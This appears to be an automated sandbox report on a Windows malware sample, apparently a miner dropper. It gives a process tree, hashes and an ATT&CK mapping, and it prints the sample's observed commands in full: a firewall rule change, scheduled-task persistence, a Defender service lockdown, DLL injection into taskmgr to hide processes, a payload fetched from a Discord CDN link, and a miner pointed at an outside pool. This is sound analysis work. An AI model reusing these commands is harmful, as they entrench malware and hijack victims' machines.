4880	csrss.exe
4880	csrss.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
4880	csrss.exe
4880	csrss.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe
2848	injector.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

powershell.exea3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	3616	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Token: SeImpersonatePrivilege	3616	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
Token: SeDebugPrivilege	4048	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeSystemEnvironmentPrivilege	4880	csrss.exe
Token: SeSecurityPrivilege	2136	sc.exe
Token: SeSecurityPrivilege	2136	sc.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

Processes:

a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exea3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.execmd.execsrss.exewindefender.execmd.exedcb505dc2b9d8aac05f4ca0727f5eadb.execsrss.exe

description	pid	process	target process
PID 3616 wrote to memory of 4884	3616	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 3616 wrote to memory of 4884	3616	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 3616 wrote to memory of 4884	3616	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 4048	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 4048	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 4048	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 2300	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	cmd.exe
PID 2648 wrote to memory of 2300	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	cmd.exe
PID 2300 wrote to memory of 2548	2300	cmd.exe	netsh.exe
PID 2300 wrote to memory of 2548	2300	cmd.exe	netsh.exe
PID 2648 wrote to memory of 3832	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 3832	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 3832	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 4600	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 4600	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 4600	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	powershell.exe
PID 2648 wrote to memory of 4880	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	csrss.exe
PID 2648 wrote to memory of 4880	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	csrss.exe
PID 2648 wrote to memory of 4880	2648	a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe	csrss.exe
PID 4880 wrote to memory of 1492	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1492	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1492	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3736	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3736	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3736	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1696	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1696	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1696	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 2848	4880	csrss.exe	injector.exe
PID 4880 wrote to memory of 2848	4880	csrss.exe	injector.exe
PID 3860 wrote to memory of 4496	3860	windefender.exe	cmd.exe
PID 3860 wrote to memory of 4496	3860	windefender.exe	cmd.exe
PID 3860 wrote to memory of 4496	3860	windefender.exe	cmd.exe
PID 4496 wrote to memory of 2136	4496	cmd.exe	sc.exe
PID 4496 wrote to memory of 2136	4496	cmd.exe	sc.exe
PID 4496 wrote to memory of 2136	4496	cmd.exe	sc.exe
PID 4880 wrote to memory of 3856	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3856	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3856	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3524	4880	csrss.exe	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
PID 4880 wrote to memory of 3524	4880	csrss.exe	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
PID 4880 wrote to memory of 3524	4880	csrss.exe	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
PID 4880 wrote to memory of 3124	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3124	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3124	4880	csrss.exe	powershell.exe
PID 3524 wrote to memory of 592	3524	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	wup.exe
PID 3524 wrote to memory of 592	3524	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	wup.exe
PID 3524 wrote to memory of 1020	3524	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	csrss.exe
PID 3524 wrote to memory of 1020	3524	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	csrss.exe
PID 3524 wrote to memory of 1020	3524	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	csrss.exe
PID 1020 wrote to memory of 2052	1020	csrss.exe	powershell.exe
PID 1020 wrote to memory of 2052	1020	csrss.exe	powershell.exe
PID 1020 wrote to memory of 2052	1020	csrss.exe	powershell.exe
PID 4880 wrote to memory of 3092	4880	csrss.exe	713674d5e968cbe2102394be0b2bae6f.exe
PID 4880 wrote to memory of 3092	4880	csrss.exe	713674d5e968cbe2102394be0b2bae6f.exe
PID 4880 wrote to memory of 3092	4880	csrss.exe	713674d5e968cbe2102394be0b2bae6f.exe
PID 4880 wrote to memory of 1404	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1404	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1404	4880	csrss.exe	powershell.exe
PID 4880 wrote to memory of 1576	4880	csrss.exe	1bf850b4d9587c1017a75a47680584c4.exe
PID 4880 wrote to memory of 1576	4880	csrss.exe	1bf850b4d9587c1017a75a47680584c4.exe
PID 4880 wrote to memory of 1576	4880	csrss.exe	1bf850b4d9587c1017a75a47680584c4.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
"C:\Users\Admin\AppData\Local\Temp\a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\Users\Admin\AppData\Local\Temp\a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe
"C:\Users\Admin\AppData\Local\Temp\a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a.exe"
2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2300

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:2548

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3832

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4600

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3896

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
4⤵
PID:312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1696

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2848

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:5064

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3860

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
5⤵
- Suspicious use of WriteProcessMemory
PID:4496

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:2136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3856

C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3524

C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 4d7eed5a-7fe1-4edd-8495-1f51fc4d5c1c --tls --nicehash -o showlock.net:443 --rig-id 4d7eed5a-7fe1-4edd-8495-1f51fc4d5c1c --tls --nicehash -o showlock.net:80 --rig-id 4d7eed5a-7fe1-4edd-8495-1f51fc4d5c1c --nicehash --http-port 3433 --http-access-token 4d7eed5a-7fe1-4edd-8495-1f51fc4d5c1c --randomx-wrmsr=-1
5⤵
- Executes dropped EXE
PID:592

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe -hide 592
5⤵
- Executes dropped EXE
- Manipulates WinMon driver.
- Suspicious use of WriteProcessMemory
PID:1020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2052

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3124

C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
4⤵
- Executes dropped EXE
PID:3092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1404

C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
4⤵
- Executes dropped EXE
PID:1576

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1196

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v0ffda2z.jpa.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
Filesize
2.0MB

MD5
1bf850b4d9587c1017a75a47680584c4

SHA1
75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

SHA256
ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

SHA512
ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
Filesize
2.8MB

MD5
713674d5e968cbe2102394be0b2bae6f

SHA1
90ac9bd8e61b2815feb3599494883526665cb81e

SHA256
f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

SHA512
e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Filesize
2.0MB

MD5
dcb505dc2b9d8aac05f4ca0727f5eadb

SHA1
4f633edb62de05f3d7c241c8bc19c1e0be7ced75

SHA256
61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

SHA512
31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
Filesize
5.2MB

MD5
4f649a57b7ddf3874c9a2163a73e9b07

SHA1
9c966520ba8233f13f168cade548baf5a30823ba

SHA256
830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491

SHA512
b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
db01a2c1c7e70b2b038edf8ad5ad9826

SHA1
540217c647a73bad8d8a79e3a0f3998b5abd199b

SHA256
413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

SHA512
c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
29f2e034e3496a6c085abb0b8a4bb62d

SHA1
76a4e34b858b6362c3b34bd27d6a5f58ad798362

SHA256
319c500df8f1ae992693e1f5f44642ca41ad0d5620a1052d91aef0d9132cf24d

SHA512
f2a0bc0be1cbc12144a06fba9e5e11bd4518f0a941927735fda8dda8b938334212455f0025484e4c70291415422c63c323ca5ec0f8f82c85695a23da52e508cf

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
8f039d7167b280877863c04b06bb080c

SHA1
2f0bbeb31f9f27023d82a3c1ab00182b77827bee

SHA256
d30bf2267cd88fe117eade0e40888cb28b4654c620786e55602df652621f6fe9

SHA512
351ce4be9c8d0c29786cadd3710a473c2e5eb67099a141b609a310d0a64754b42f75abe7d5b075cc55f0aadae0a1f01aaed2ab475ded7a1bd0c38be895a4e3c5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
77aa6b2ff730e7682214fb9bd3441f87

SHA1
53e5fa041e72ba05e7ab8bc049ed5fe9792e2a9d

SHA256
04d87424e450da440dc259ec6256f507d7563336b29a57efbdd95fcea6777586

SHA512
4fbe3c8a98efc46679ab7eecc89604ea5e4155dd5feaa3bf3d6a162530654031ceb843f9b6856a3615681849a8fea18d511ac7595860839e31ad1d1cef9bdd74

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
96b511edb14d5fc58def5dc0132c9bcb

SHA1
de7e4a3ec668d01d08a3a48543a7393c25279774

SHA256
09dd4299b24541f7010a234fa93ae8ec1abebc4d733d6d064a2bdb2a60447ea0

SHA512
8982572ce3073000229c7d4ad67b54bbb0bdc5382e73c9eb293a9fc2c2bb19802e274a7727efbd0960faa3f5e13fff80b9b60fd65fb755a2e75454df389fd61f

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
c1b24fc8a5cce7a0ab50233827cab107

SHA1
297a96d93745710e0d8130b105dfa12b273efdb1

SHA256
da9fdb90d09a727729f5b373b837faf533ec7b4683f4258c44e59531fcb7b5f0

SHA512
407ce63d81ee2e7639df2d996e0f31e5e31f9f5fe1da1f0ebd2addaa5887a7ac16bb85343189e167d4d86e298d1778df664470588a16822ebe389a25a2a539a4

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
8ba917588ed0fd8d84066467c840abd4

SHA1
34289e073dc9833d2a607fc7cd8b48e86ea7a210

SHA256
f80b60ed8f698d629adc0e85aa5248590d575db4eac12787be56796702bb5180

SHA512
68ebfe5493788ba05ade2a8d2658140b05cbe1cb71e2d0eae45afac9aeb82b22f0c639e133e7e729aaeef6942b67613a2d27e9b31e1d85997b2ac96f9fdcb1dd

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
b0aeb1993cbd9b12a7aaacf0b080e60c

SHA1
8c9cbf662d3f8e79049ec4e0e6f9c8293d09ed65

SHA256
aec2958429acbae512747161cd6b29889e280727d5fdeb387adb2b5501dd25c7

SHA512
ddb1fef9bb0810472659d87a5b8c5bb39118d80aeb7ed86c841a31653f16f72b8a8a198ba43aa75448f758cc70780b8763df0b826cf46af019df221a3b3c5430

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
dc5a62f2e373f7572c4d8ed109d16398

SHA1
d307956faea9c4d6df1bb90dbbf92ca184a0bcdb

SHA256
3cfdb5dcdc4de4c830e01dae7f79d94f1bb358ce27a92f982753763c9d8ac85e

SHA512
7d7253212d5b450c526dd12f54eb6bd248bfcab8cb0501696429f0281bede4dc1401821be7d3845e82e9c4f3e9e0700a351c04bac260600f4557f6fd94d5057d

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
f3c171dd8c0eeb5f99dd591b0e69727e

SHA1
33a673cc57f6e5437bdc96fb76be676312fec4fb

SHA256
c48c841c9132c20630e1845f48ca82616d552a8b3bcd819797e7051793e538f7

SHA512
6df66bfaba3d41f6e2ba3de91afcabd5b220bb020efe2d15a864c7c322e8f434877ce23436b09b8f32282dfe3c9bdc42f158d4032aa2ea5108bcae0d228602eb

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
833cf4b485610329398b1a0065601b9a

SHA1
c8a5a74c18517a0f9f6132f4e5f277c6a7303a92

SHA256
a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a

SHA512
df304d862cbb43eb222d81a23f1d4a179d5cc4e2ef73758ee130019280de97b1b1da5bf2d14d71c8b4128cf6206555f043c15670632b472efe8dd3b5d6156531

Download Submit
C:\Windows\windefender.exe
Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/1020-2611-0x0000000000400000-0x0000000003009000-memory.dmp

Filesize
44.0MB

Download
memory/1196-1820-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/1196-1796-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/1196-1793-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/1492-1069-0x0000000070280000-0x00000000702CB000-memory.dmp

Filesize
300KB

Download
memory/1492-1070-0x00000000702D0000-0x0000000070620000-memory.dmp

Filesize
3.3MB

Download
memory/1492-1050-0x0000000008B70000-0x0000000008BBB000-memory.dmp

Filesize
300KB

Download
memory/1492-1047-0x0000000073550000-0x0000000073C3E000-memory.dmp

Filesize
6.9MB

Download
memory/1492-1048-0x0000000008210000-0x0000000008560000-memory.dmp

Filesize
3.3MB

Download
memory/1576-2840-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1576-2844-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1576-2847-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/2648-307-0x0000000000400000-0x0000000003009000-memory.dmp

Filesize
44.0MB

Download
memory/2648-798-0x0000000000400000-0x0000000003009000-memory.dmp

Filesize
44.0MB

Download
memory/2648-304-0x0000000005180000-0x0000000005A6B000-memory.dmp

Filesize
8.9MB

Download
memory/2648-1040-0x0000000000400000-0x0000000003009000-memory.dmp

Filesize
44.0MB

Download
memory/2648-303-0x00000000033E0000-0x00000000037D9000-memory.dmp

Filesize
4.0MB

Download
memory/2648-581-0x00000000033E0000-0x00000000037D9000-memory.dmp

Filesize
4.0MB

Download
memory/3092-2849-0x0000000000040000-0x000000000090D000-memory.dmp

Filesize
8.8MB

Download
memory/3092-2841-0x0000000000040000-0x000000000090D000-memory.dmp

Filesize
8.8MB

Download
memory/3092-2837-0x0000000000040000-0x000000000090D000-memory.dmp

Filesize
8.8MB

Download
memory/3524-2135-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/3616-3-0x0000000000400000-0x0000000003009000-memory.dmp

Filesize
44.0MB

Download
memory/3616-2-0x0000000005100000-0x00000000059EB000-memory.dmp

Filesize
8.9MB

Download
memory/3616-300-0x0000000000400000-0x0000000003009000-memory.dmp

Filesize
44.0MB

Download
memory/3616-302-0x0000000005100000-0x00000000059EB000-memory.dmp

Filesize
8.9MB

Download
memory/3616-1-0x0000000003460000-0x000000000385D000-memory.dmp

Filesize
4.0MB

Download
memory/3832-552-0x00000000735F0000-0x0000000073CDE000-memory.dmp

Filesize
6.9MB

Download
memory/3832-582-0x0000000006830000-0x0000000006840000-memory.dmp

Filesize
64KB

Download
memory/3832-576-0x0000000070370000-0x00000000706C0000-memory.dmp

Filesize
3.3MB

Download
memory/3832-791-0x00000000735F0000-0x0000000073CDE000-memory.dmp

Filesize
6.9MB

Download
memory/3832-575-0x0000000070320000-0x000000007036B000-memory.dmp

Filesize
300KB

Download
memory/3832-555-0x0000000007690000-0x00000000079E0000-memory.dmp

Filesize
3.3MB

Download
